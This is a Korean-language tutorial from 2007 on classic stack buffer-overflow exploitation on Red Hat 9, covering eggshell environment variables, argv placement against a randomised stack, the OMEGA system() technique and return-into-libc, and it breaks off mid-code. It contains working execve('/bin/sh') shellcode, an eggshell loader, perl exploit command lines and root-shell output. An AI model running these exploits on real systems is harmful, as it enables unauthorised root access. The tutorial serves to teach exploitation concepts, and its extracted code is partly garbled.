[Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1
[Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득 2.2 한번에 root shell 획득하기 3. 랜덤스택깨기 4. OMEGA Project 의이해 4.1 OMEGA Project 를이용한 shell 획득 4.2 OMEGA Project 를이용한 root shell 획득 5. RTL(return into libc) 의이해 5.1 RTL 을이용한 shell 획득 5.2 RTL 을이용한 root shell 획득 6. 마치며 7. 참고자료 2
[1. 개요 ] 버퍼오버플로우는이미수십년전에그이론이나오기시작하였고, Aleph One에의해서널리알려졌다. 오래된역사만큼이나공격기법또한발전해왔는데, 이는시스템이출시될때마다새로운보안매커니즘이적용되었다는것을의미한다. 이문서는 BOF의개념을이해하고있거나한번쯤공부를했지만다양한공격기법을응용하지못하는사람을대상으로한다. 그렇기때문에기본적으로스택구조, 셸코드, 어셈블리, gdb, 프로그래밍능력이있다는가정하에작성되었다. History Of Buffer Over Flow VOL.1 에서는환경변수, OMEGA 프로젝트, RTL(return into libc) 기법에대해서다룬다. 이문서를이해하는데어려움이느껴진다면, 다른문서를이용하여 BOF의기본적인개념을잡고나서도전하기바란다. [2. 환경변수의이해 ] 환경변수는사용자에게좀더편리한사용환경을제공하기위한변수를말한다. 변수란것이어떤프로그램에서메모리에특정한값을저장해놓고참조하는것처럼, 환경변수는어떤간단한값을저장해놓고여러프로그램들이참조할수있다. 또한, 기본적으로정의되어있는환경변수이외에도사용자가언제든지정의할수가있다. 그렇다면우리가언제든정의할수있는환경변수영역에쉘코드와많은양의 NOP를집어넣으면어떻게될까? 환경변수가스택의높은주소에자리잡는다는사실과, 많은양의 NOP 뒤에이어지는쉘코드를생각해보자. 쉘획득이한결쉬워질것같지않은가? [2.1 eggshell을이용한 root shell 획득 ] eggshell은쉘코드를환경변수로등록하고, 스택포인터의위치를출력하며쉘을띄우는프로그램이다. 여기에서는랜덤스택이적용된 Redhat 9 에서테스트해보도록하겠다. 테스트환경은다음과같다. cat /etc/redhat-release Red Hat Linux release 9 (Shrike) uname -a 3
Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386gnu/linux 다음과같은취약프로그램을공격할것이다. cat vul.c #include <stdio.h> int main(int argc, char **argv) { ch ar buf[16]; if (argc < 2){ printf("useag: %s <arg> n",argv[0]); exit(-1); strcpy(buf,argv[1]); ls l vul -rwsr-xr-x 1 root root 11766 1월 25 17:16 vul gdb를이용하여어느지점에서버퍼가넘치게되는지알아보자. gdb -q vul (gdb) disas main Dump of assembler code for function main: 0x08048390 <main+0>: push %ebp 0x08048391 <main+1>: mov %esp,%ebp 0x08048393 <main+3>: sub $0x18,%esp 0x08048396 <main+6>: and $0xfffffff0,%esp 0x08048399 <main+9>: mov $0x0,%eax 0x0804839e <main+14>: sub %eax,%esp 0x080483a0 <main+16>: cmpl $0x1,0x8(%ebp) 0x080483a4 <main+20>: jg 0x80483c5 <main+53> 0x080483a6 <main+22>: sub $0x8,%esp 0x080483a9 <main+25>: mov 0xc(%ebp),%eax 0x080483ac <main+28>: pushl (%eax) 0x080483ae <main+30>: push $0x804848c 0x080483b3 <main+35>: call 0x80482b0 <printf> 4
0x080483b8 <main+40>: add $0x10,%esp 0x080483bb <main+43>: sub $0xc,%esp 0x080483be <main+46>: push $0xffffffff 0x080483c0 <main+48>: call 0x80482c0 <exit> 0x080483c5 <main+53>: sub $0x8,%esp 0x080483c8 <main+56>: mov 0xc(%ebp),%eax 0x080483cb <main+59>: add $0x4,%eax 0x080483ce <main+62>: pushl (%eax) 0x080483d0 <main+64>: lea 0xffffffe8(%ebp),%eax 0x080483d3 <main+67>: push %eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add $0x10,%esp 0x080483dc <main+76>: leave 0x080483dd <main+77>: ret 0x080483de <main+78>: nop 0x080483df <main+79>: nop End of assembler dump. (gdb) 버퍼의크기는 0x18이다. 여기에 sfp를더한값까지계산해야 ret에우리가원하는주소를덮어쓸수가있다. 즉, 우리가집어넣어야할데이터는 [24]+[4]+[ret] 이다. 다음은 eggshell.c 의소스이다. cat eggshell.c #include <stdlib.h> #define _OFFSET 0 #define _BUFFER_SIZE 512 #define _EGG_SIZE 2048 #define NOP 0x90 char shellcode[]= " x31 xc0" " x31 xdb" " x31 xc9" " xb0 x46" 5
" xcd x80" " x31 xc0" " x50 x68 x2f x2f x73 x68" " x68 x2f x62 x69 x6e" " x89 xe3" " x50" " x53" " x89 xe1" " x89 xc2" " xb0 x0b" " xcd x80" " x31 xdb" " xb0 x01" " xcd x80"; unsigned long get_esp() { asm volatile ("movl %esp, %eax"); // 스택포인터의위치를리턴한다. int main(int argc, char **argv) { char *ptr, *buff, *egg; long *addr_ptr, addr; int i; int offset=_offset, bsize=_buffer_size, eggsize=_egg_size; if(argc>1)bsize=atoi(argv[1]); if(argc>2)offset=atoi(argv[2]); if(argc>3)eggsize=atoi(argv[3]); if(!(buff=malloc(bsize))){ //bsize 크기의메모리를할당한다. printf("cannot allocate buff n"); exit(0); if(!(egg=malloc(eggsize))){ //eggsize 크기의메모리를할당한다. 6
printf("cannot allocate egg n"); exit(0); addr=get_esp() - offset; printf("esp : %p n", addr); // 스택포인터의주소를출력한다. ptr=buff; addr_ptr=(long*)ptr; for(i=0; i<bsize; i+=4) { *(addr_ptr++)=addr; ptr=egg; for(i=0; i<eggsize - strlen(shellcode)-1; i++) // 쉘코드를넣을공간만남기고 *(ptr++)=nop; NOP로채운다. for(i=0; i<strlen(shellcode); i++) // 나머지공간에쉘코드를채운다. *(ptr++)=shellcode[i]; buff[bsize-1]=' 0'; egg[eggsize-1]=' 0'; memcpy(egg, "EGG=", 4); putenv(egg); //EGG라는이름으로환경변수에등록한다. memcpy(buff, RET=,4); putenv(buff); system("/bin/sh"); // 쉘을실행시킨다. 이제 eggshell을실행하고공격을시도해보자../eggshell esp : 0xbfffea68 sh-2.05b$./vul `perl -e 'print "a"x28," x68 xea xff xbf"'` 세그멘테이션오류 sh-2.05b$ 7
eggshell이출력한스택포인터의값을 ret로하여공격을시도하였으나실패한것을알수있다. 하지만스택포인터가정확한쉘코드의위치를나타내지않더라도많은양의 NOP 코드가있기때문에주소를높여가며공격을시도한다면어렵지않게쉘을획득할수있다. sh-2.05b$./vul `perl -e 'print "a"x28," x68 xfa xff xbf"'` sh-2.05b# id uid=0(root) gid=500(hardsoju) groups=500(hardsoju) sh-2.05b# exit exit sh-2.05b$ root 쉘을획득하였다. 이는환경변수가스택의높은주소에위치하기때문에 eggshell이출력한스택포인터의주소보다높은곳으로 ret를조작한다면 NOP가위치한어느지점에도달한다는것을보여준다. 정확한이해를돕기위해 gdb를이용하여확인을해보도록하자. gdb에서다른사용자소유의 setuid가걸린프로그램은실행이되지않기때문에 vul1으로복사하여테스트를하겠다. 앞으로도 gdb 상에서의실행은계속 vul1을이용할것이다. sh-2.05b$ gdb -q vul1 (gdb) break main Breakpoint 1 at 0x8048396 (gdb) r Starting program: /home/hardsoju/bof/bof/vul1 Breakpoint 1, 0x08048396 in main () (gdb) x/64wx $ebp 0xbfffd498: 0xbfffd4b8 0x42015574 0x00000001 0xbfffd4e4 0xbfffd4a8: 0xbfffd4ec 0x4001582c 0x00000001 0x080482e0 0xbfffd4b8: 0x00000000 0x08048301 0x08048390 0x00000001 0xbfffd4c8: 0xbfffd4e4 0x080483e0 0x08048410 0x4000c660 0xbfffd4d8: 0xbfffd4dc 0x00000000 0x00000001 0xbffff3d8 0xbfffd4e8: 0x00000000 0xbffff3f4 0xbffff413 0xbffff423 0xbfffd4f8: 0xbffff42e 0xbffff43c 0xbffff44c 0xbffff46c 0xbfffd508: 0xbffff47f 0xbffffc7f 0xbffffc8d 0xbffffe50 0xbfffd518: 0xbffffe94 0xbffffeb2 0xbffffebe 0xbffffed9 0xbfffd528: 0xbffffeee 0xbffffeff 0xbfffff32 0xbfffff46 8
0xbfffd538: 0xbfffff4e 0xbfffff5f 0xbfffff92 0xbfffffb4 0xbfffd548: 0xbfffffcb 0x00000000 0x00000020 0xffffe000 0xbfffd558: 0x00000010 0x0febfbff 0x00000006 0x00001000 0xbfffd568: 0x00000011 0x00000064 0x00000003 0x08048034 0xbfffd578: 0x00000004 0x00000020 0x00000005 0x00000006 0xbfffd588: 0x00000007 0x40000000 0x00000008 0x00000000 (gdb) 0xbfffd598: 0x00000009 0x080482e0 0x0000000b 0x000001f4 0xbfffd5a8: 0x0000000c 0x000001f4 0x0000000d 0x000001f4 0xbfffd5b8: 0x0000000e 0x000001f4 0x0000000f 0xbffff3d3... 중 략... (gdb) 0xbffff398: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff3a8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff3b8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff3c8: 0x00000000 0x00000000 0x69000000 0x00363836 0xbffff3d8: 0x6d6f682f 0x61682f65 0x6f736472 0x422f756a 0xbffff3e8: 0x622f464f 0x762f666f 0x00316c75 0x54534f48 0xbffff3f8: 0x454d414e 0x636f6c3d 0x6f686c61 0x6c2e7473 0xbffff408: 0x6c61636f 0x616d6f64 0x53006e69 0x4c4c4548 0xbffff418: 0x69622f3d 0x61622f6e 0x54006873 0x3d4d5245 0xbffff428: 0x72657478 0x4948006d 0x49535453 0x313d455a 0xbffff438: 0x00303030 0x53454c4a 0x41484353 0x54455352 0xbffff448: 0x006f6b3d 0x5f485353 0x45494c43 0x313d544e 0xbffff458: 0x312e3239 0x352e3836 0x20312e30 0x36373431 0xbffff468: 0x00323220 0x5f485353 0x3d595454 0x7665642f 0xbffff478: 0x7374702f 0x4500312f 0x903d4747 0x90909090 0xbffff488: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbffff498: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4a8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4b8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4c8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4d8: 0x90909090 0x90909090 0x90909090 0x90909090 9
0xbffff4e8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4f8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff508: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff518: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff528: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff538: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff548: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff558: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff568: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff578: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff588: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) ebp 부터추적을해서올라가보니 NOP 코드가시작되는부분이나타났다. 쉘코드가환경변수로등록된쉘을띄우게되면, 해당쉘이유효하는한스택의높은영역에는 NOP와쉘코드가자리잡고있을것이다. 이때그쉘에서공격을시도하여 ret를 NOP가위치한환경변수의영역으로돌리게되면쉘획득이가능한것이다. eggshell이출력한스택포인터와 NOP가시작되는주소에는차이가있지만, 환경변수는스택의높은영역에자리잡는다는사실을다시한번상기한다면스택포인터가 NOP나쉘코드의정확한위치를나타내지않는것은아무문제가되지않는다. 여기에서스택포인터는이미충분할만큼중요한역할을하고있다는것을느낄것이다. [2.2 한번에 root shell 획득하기 ] eggshell을이용했던앞에서의공격을응용하여한번에쉘을획득해보자. 앞에서와같이스택포인터에의존하지않고, 환경변수의주소를알아낼수만있다면공격은한결수월해질것이다. 먼저쉘에서 export 명령을이용하여 NOP와쉘코드를환경변수에등록한다. export SHELLCODE= `perl -e 'print " x90"x1024," x31 xc0 x31 xdb x31 xc9 xb0 x46 xcd x80 x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x53 x89 xe1 x8 9 xc2 xb0 x0b xcd x80 x31 xdb xb0 x01 xcd x80"'` 제대로등록되었는지확인을해보자. export 10
declare -x DISPLAY="localhost:10.0" declare -x G_BROKEN_FILENAMES="1" declare -x HISTSIZE="1000" declare -x HOME="/home/hardsoju" declare -x HOSTNAME="localhost.localdomain" declare -x INPUTRC="/etc/inputrc" declare -x JLESSCHARSET="ko" declare -x LANG="ko_KR.eucKR" declare -x LESSOPEN=" /usr/bin/lesspipe.sh %s" declare -x LOGNAME="hardsoju" 중 략 declare -x MAIL="/var/spool/mail/hardsoju" declare -x OLDPWD="/home/hardsoju/BOF" declare -x PATH="/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/hardsoju/bin" declare -x PWD="/home/hardsoju/BOF/bof" declare -x SHELL="/bin/bash" declare -x SHELLCODE= 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱1?? F?1픐 h//shh/bin됥ps됣됀??1 方? declare -x SHLVL="1" declare -x SSH_ASKPASS="/usr/libexec/openssh/gnome-ssh-askpass" 11
declare -x SSH_CLIENT="192.168.50.1 1369 22" declare -x SSH_CONNECTION="192.168.50.1 1369 192.168.50.100 22" declare -x SSH_TTY="/dev/pts/1" declare -x TERM="xterm" declare -x USER="hardsoju" 여러환경변수사이에 SHELLCODE 라는이름으로등록된것이확인되었다. 이제환경변수가위치한주소를알아보자. cat get.c #include <stdio.h> int main(int argc, char **argv) { char *addr; addr=getenv(argv[1]); printf("address %p n", addr); return 0; 위소스는환경변수의이름을이용하여주소를출력하는프로그램이다. 소스는간단하므로쉽게이해가가능할것이다../get SHELLCODE address 0xbffff7e9./vul `perl -e 'print "a"x28," xe9 xf7 xff xbf"'` sh-2.05b# id uid=0(root) gid=500(hardsoju) groups=500(hardsoju) sh-2.05b# exit exit 쉘을획득하였다. 12
[3. 랜덤스택깨기 ] 위에서이미랜덤스택환경에서쉘을획득하였고앞으로도계속그럴것이지만, 이장에 서굳이랜덤스택깨기란제목을붙인이유는랜덤스택에서도랜덤하지않은부분을 공략할것이기때문이다. 랜덤스택인데랜덤하지않은부분을이용한다니뭔가앞뒤가맞지않는느낌이다. 하지만불행인지다행인지랜덤스택에는랜덤하지않은부분이존재하는데여기에서는 argv 영역을이용하여쉘을획득할것이다. 즉, argument(ex. argv[2]) 에쉘코드를올린다고가정하면그주소는랜덤스택이라도 변하지않으므로 ret를 argument로향하게하여쉘획득이가능한것이다. 그럼 argv의주소를알아내야하는데여기에서는 gdb를이용하겠다. gdb -q vul1 (gdb) disas main Dump of assembler code for function main: 0x08048390 <main+0>: push %ebp 0x08048391 <main+1>: mov %esp,%ebp 0x08048393 <main+3>: sub $0x18,%esp 0x08048396 <main+6>: and $0xfffffff0,%esp 0x08048399 <main+9>: mov $0x0,%eax 0x0804839e <main+14>: sub %eax,%esp 0x080483a0 <main+16>: cmpl $0x1,0x8(%ebp) 0x080483a4 <main+20>: jg 0x80483c5 <main+53> 0x080483a6 <main+22>: sub $0x8,%esp 0x080483a9 <main+25>: mov 0xc(%ebp),%eax 0x080483ac <main+28>: pushl (%eax) 0x080483ae <main+30>: push $0x804848c 0x080483b3 <main+35>: call 0x80482b0 <printf> 0x080483b8 <main+40>: add $0x10,%esp 0x080483bb <main+43>: sub $0xc,%esp 0x080483be <main+46>: push $0xffffffff 0x080483c0 <main+48>: call 0x80482c0 <exit> 0x080483c5 <main+53>: sub $0x8,%esp 0x080483c8 <main+56>: mov 0xc(%ebp),%eax 0x080483cb <main+59>: add $0x4,%eax 0x080483ce <main+62>: pushl (%eax) 0x080483d0 <main+64>: lea 0xffffffe8(%ebp),%eax 0x080483d3 <main+67>: push %eax 13
0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add $0x10,%esp 0x080483dc <main+76>: leave 0x080483dd <main+77>: ret 0x080483de <main+78>: nop 0x080483df <main+79>: nop End of assembler dump. (gdb) 이제공격과정과똑같은상태로프로그램을실행한다. argv[1] 에 ret까지덮어쓰도록하고, argv[2] 에는 NOP와쉘코드를집어넣는다. (gdb) break main Breakpoint 1 at 0x8048396 (gdb) r `perl -e 'print "a"x32'` `perl -e 'print " x90"x200," x31 xc0 x31 xdb x31 xc9 xb0 x46 xcd x80 x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x53 x89 xe1 x89 xc 2 xb0 x0b xcd x80 x31 xdb xb0 x01 xcd x80"'` Starting program: /home/hardsoju/bof/bof/vul1 `perl -e 'print "a"x32'` `perl -e 'print " x90"x200," x31 xc0 x31 xdb x31 xc9 xb0 x46 xcd x80 x31 xc0 x50 x 68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x53 x89 xe1 x89 xc2 xb0 x0b xcd x80 x31 xdb xb0 x01 xcd x80"'` Breakpoint 1, 0x08048396 in main () (gdb) 이제랜덤스택중에서도랜덤하지않은영역인 argv를찾아보자. (gdb) x/10wx $ebp 0xbffff2f8: 0xbffff318 0x42015574 0x00000003 0xbffff344 0xbffff308: 0xbffff354 0x4001582c 0x00000003 0x080482e0 0xbffff318: 0x00000000 0x08048301 (gdb) x/10wx 0xbffff344 0xbffff344: 0xbffffac5 0xbffffae1 0xbffffb02 0x00000000 0xbffff354: 0xbffffbf4 0xbffffc13 0xbffffc23 0xbffffc2e 0xbffff364: 0xbffffc3c 0xbffffc4c (gdb) x/s 0xbffffac5 0xbffffac5: "/home/hardsoju/bof/bof/vul1" (gdb) 14
0xbffffae1: 'a' <repeats 32 times> (gdb) 0xbffffb02: ' 220' <repeats 200 times>... (gdb) 0xbffffbca: "1?? F?2001픐h//shh/bin 211?S 211?211째 v?2001 方 001?200" (gdb) 0xbffffbf4: "HOSTNAME=localhost.localdomain" (gdb) 0xbffffc13: "SHELL=/bin/bash" (gdb) q The program is running. Exit anyway? (y or n) y argv[2] 는 0xbffffb02 인것을알수있다. 실제공격은 gdb 에서처럼 argv[2] 에 NOP와쉘코드를집어넣고, argv[1] 은 argv[2] 를가리키게하여공격할것이다. 즉, argv[1] 에입력하는데이터가 ret를조작하여 argv[2] 의쉘코드를실행시키게된다../vul `perl -e 'print " x02 xfb xff xbf"x8'` `perl -e 'print " x90"x200," x31 xc0 x31 xdb x31 xc9 xb0 x46 xcd x80 x31 xc0 x50 x 68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x53 x89 xe1 x89 xc2 xb0 x0b xcd x80 x31 xdb xb0 x01 xcd x80"'` sh-2.05b# id uid=0(root) gid=500(hardsoju) groups=500(hardsoju) sh-2.05b# exit exit 쉘이떨어졌다. argv[1] 을 8번반복하는이유는 ret까지덮어써야하기때문이다. [4. OMEGA Project의이해 ] 고전적인 BOF 공격은쉘코드를메모리에위치시키고, ret를조작하여쉘코드를가리키게했다. 이과정에서공격성공률을높이기위해 NOP 코드를가능한많이집어넣어주소를추측하는고단함을약간은덜어낼수있었다. 15
하지만, 이러한방법은쉘코드를넣을적당한공간이없거나, 쉘코드의위치를찾아내는데많은어려움이있다. 또한최근의시스템에서스택에존재하는쉘코드를실행하지못하게하는방어기법은이것들이더이상유용한공격이아님을증명한다. Lamagra 라는해커는쉘코드를사용하지않고쉘을띄울수있는공격방법을고민하기시작하였고, 이것이이름하여 OMEGA Project 이다. OMEGA Project는스택에쉘코드를집어넣고, shell 코드의위치를추측하는번거로움을해결하였다. [4.1 OMEGA Project를이용한 shell 획득 ] 다음과같은취약프로그램을공격할것이다. cat vul.c #include <stdio.h> main(int argc, char **argv) { char buf[16]; if (argc < 2){ printf("useag: %s <arg> n",argv[0]); exit(-1); strcpy(buf,argv[1]); ls l vul -rwsr-xr-x 1 root root 11766 1월 25 17:16 vul 앞에서와같은취약프로그램이지만확인하는의미에서다시한번 gdb를이용하여오버 플로우가발생하는지점을알아보도록하겠다. gdb -q vul1 (gdb) disas main Dump of assembler code for function main: 0x08048390 <main+0>: push %ebp 0x08048391 <main+1>: mov %esp,%ebp 0x08048393 <main+3>: sub $0x18,%esp 0x08048396 <main+6>: and $0xfffffff0,%esp 16
0x08048399 <main+9>: mov $0x0,%eax 0x0804839e <main+14>: sub %eax,%esp 0x080483a0 <main+16>: cmpl $0x1,0x8(%ebp) 0x080483a4 <main+20>: jg 0x80483c5 <main+53> 0x080483a6 <main+22>: sub $0x8,%esp 0x080483a9 <main+25>: mov 0xc(%ebp),%eax 0x080483ac <main+28>: pushl (%eax) 0x080483ae <main+30>: push $0x804848c 0x080483b3 <main+35>: call 0x80482b0 <printf> 0x080483b8 <main+40>: add $0x10,%esp 0x080483bb <main+43>: sub $0xc,%esp 0x080483be <main+46>: push $0xffffffff 0x080483c0 <main+48>: call 0x80482c0 <exit> 0x080483c5 <main+53>: sub $0x8,%esp 0x080483c8 <main+56>: mov 0xc(%ebp),%eax 0x080483cb <main+59>: add $0x4,%eax 0x080483ce <main+62>: pushl (%eax) 0x080483d0 <main+64>: lea 0xffffffe8(%ebp),%eax 0x080483d3 <main+67>: push %eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add $0x10,%esp 0x080483dc <main+76>: leave 0x080483dd <main+77>: ret 0x080483de <main+78>: nop 0x080483df <main+79>: nop End of assembler dump. (gdb) 버퍼의크기는 0x18이다. 여기에 sfp를더한값까지계산해야 ret에우리가원하는주소를덮어쓸수가있다. 즉, 우리가집어넣어야할데이터는 [24]+[4]+[ret] 이다. 이제 ret 부분에쉘코드의주소가아닌 system 함수의주소를넣으면어떻게될까? 프로그래밍경험이있다면알겠지만, system 함수는쉘명령을실행하는아주유용한함수이다. man 페이지에서자세히알아보자. NAME 17
system - execute a shell command SYNOPSIS #include <stdlib.h> int system(const char *string); DESCRIPTION system() executes a command specified in string by calling /bin/sh -c string, and returns after the command has been completed. During execution of the command, SIGCHLD will be blocked, and SIGINT and SIGQUIT will be ignored. 영어로되어있어지레겁먹을수있지만, 다행스럽게도 execute a shell command란문구가눈에들어온다. 또한 /bi/sh c 를호출하여 string을실행한다는것을알수있다. 못믿겠다면, 지금당장쉘에서 /bin/sh c ls 를실행해보기바란다. 현재디렉토리의목록이출력될것이다. ret 부분에 system 함수의주소를넣어줄때는실행시의공유라이브러리가로딩된시점의 system 함수주소를넣어주어야한다. gdb를이용해보자. (gdb) break main Breakpoint 1 at 0x8048396 (gdb) r Starting program: /home/hardsoju/bof/bof/vul1 Breakpoint 1, 0x08048396 in main () (gdb) x/x system 0x4203f2c0 <system>: 0x83e58955 (gdb) 메인함수에브레이크포인트를잡고프로그램을실행시킨후 system 함수의주소를알아냈다. 이제본격적인공격에들어가보자../vul `perl e print a x28, xc0 xf2 x03 x42 x41 x41 x41 x41 ` sh: line 1: AAAA: command not found 세그멘테이션오류 18
세그멘테이션오류가뜨고프로그램은종료되었다. x41 x41 x41 x41 은 AAAA 의 hex 값이다. command not found 라는메시지는쉘에서존재하지않는명령을내렸을때나오는에러메시지이다. 한번테스트해보자. hardsoju -bash: hardsoju: command not found 역시 hardsoju란명령은존재하지않는다. 에러메시지또한 command not found 인것을확인할수있다. ( 쉘의종류는다르지만여기서중요한문제는아니다.) 이것으로 ret를 system 함수로향하게했을때, system 함수가실행되었다는것이증명되었다. 만약위과정에서오류가발생하지않는다면다양한방법으로오류를유발시켜야한다. 필자는공격성공을눈앞에두고도세그멘테이션오류만뜨고프로그램이종료되는바람에많은시간을낭비했다. 테스트를통해알아본결과시스템버전별, 그리고시도하는횟수에따라서결과가달라졌다. 가령위와같은방식으로해서오류가나타나지않는다면똑같은방법을여러횟수에걸쳐시도하거나./vul `perl e print a x28, xc0 xf2 x03 x42 x41 ` 또는,./vul `perl e print a x28, xc0 xf2 x03 x42 ` 와같은방식으로다양한조합을해보아야한다. 이제 system 함수를이용해서쉘을띄우는일만남았다. 다음과같이공격을시도해본다../vul `perl e print a x28, xc0 xf2 x03 x42 x41 x41 x41 x41 ` 2>out 세그멘테이션오류 ls -l out -rw-rw-r-- 1 hardsoju hardsoju 36 1월 25 17:29 out 공격을시도하고에러메시지는 out 이란파일에저장하였기때문에화면에는세그멘테이션오류만뜨고프로그램이중지되었다. 다음으로 lamagra가제작한심볼릭링크를거는프로그램을이용하여 out 이란파일을 /bin/sh로심볼릭링크를건다. 소스는다음과같다. 19
cat link.c #include <stdio.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <sys/types.h> void main(int argc, char **argv) { FILE *fd; int i; char buf[512], filename[50]; char *extract; if (argc!= 2) { printf("usage: %s <file> n", argv[0]); exit(-1); fd = fopen(argv[1], "r"); fgets(buf, 512, fd); extract = strrchr(buf, ':'); *extract = 0x0; extract = strrchr(buf, ':'); strcpy(filename, extract + 2); printf("filename = %s n", filename); fclose(fd); symlink("/bin/sh", filename);./link out filename = AAAA 심볼릭링크가제대로걸렸는지확인해보자. ls -l 합계 40 lrwxrwxrwx 1 hardsoju hardsoju 7 1월 25 17:29 AAAA -> /bin/sh 20
-rwxrwxr-x 1 hardsoju hardsoju 12457 1월 25 17:13 link -rw-rw-r-- 1 hardsoju hardsoju 601 1월 25 17:13 link.c -rw-rw-r-- 1 hardsoju hardsoju 36 1월 25 17:29 out -rwsr-xr-x 1 root root 11766 1월 25 17:16 vul -rw-rw-r-- 1 hardsoju hardsoju 172 1월 25 17:16 vul.c 현재디렉토리를 PATH 에추가한후앞에서와동일하게공격한다. echo $PATH /usr/local/bin:/bin:/usr/bin:/usr/x11r6/bin:/home/hardsoju/bin export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin: /home/hardsoju/bin:././vul `perl e print a x28, xc0 xf2 x03 x42 x41 x41 x41 x41 ` 세그멘테이션오류 일단쉘이떴는지확인하기위해 ps 명령을내려보았다. ps PID TTY TIME CMD 3767 pts/3 00:00:01 bash 4026 pts/3 00:00:00 vul 4027 pts/3 00:00:00 AAAA 4051 pts/3 00:00:00 ps id uid=500(hardsoju) gid=500(hardsoju) groups=500(hardsoju) 쉘이뜬것을확인할수있다. 쉘을획득하는데성공하였지만, uid가자기자신임을알수있다. 그이유는 getuid 시스템에서취약한프로그램을공격하면쉘변수내의 uid를가져와서결국은실제사용자의권한으로프로그램을실행하기때문이다. [4.2 OMEGA Project를이용한 root shell 획득 ] 이제는 root 권한을획득해보겠다. 앞에서의공격과달리 system 함수호출이전에 setreuid 함수를먼저호출하여 uid를 0 으로맞춘후쉘을실행할것이다. 21
다음과같은공격을예상할수있다../vul "`perl -e 'print " x20 x79 x0d x42"x8," xc0 xf2 x03 x42 x00 x00 x00 x00"'`" 위와같은경우 setreuid함수의인자로 x00 x00 x00 x00을전달하고있지만, 취약한함수가 strcpy 일경우제대로전달이되지않는문제점이있다. 이제이러한문제점을해결하고루트권한을획득해보겠다. 먼저 vul.c의소스에 dumpcode.h를추가하여, 메모리정보를자세히볼수있도록한다. cat vul.c #include <stdio.h> #include "dumpcode.h" // 추가된부분 main(int argc, char **argv) { char buf[16]; if (argc < 2){ printf("useag: %s <arg> n",argv[0]); exit(-1); strcpy(buf,argv[1]); dumpcode((char*)buf, 128); // 추가된부분 dumpcode.h의소스는다음과같다. cat dumpcode.h void printchar(unsigned char c) { if(isprint(c)) printf("%c",c); else printf("."); void dumpcode(unsigned char *buff, int len) { int i; for(i=0;i<len;i++) 22
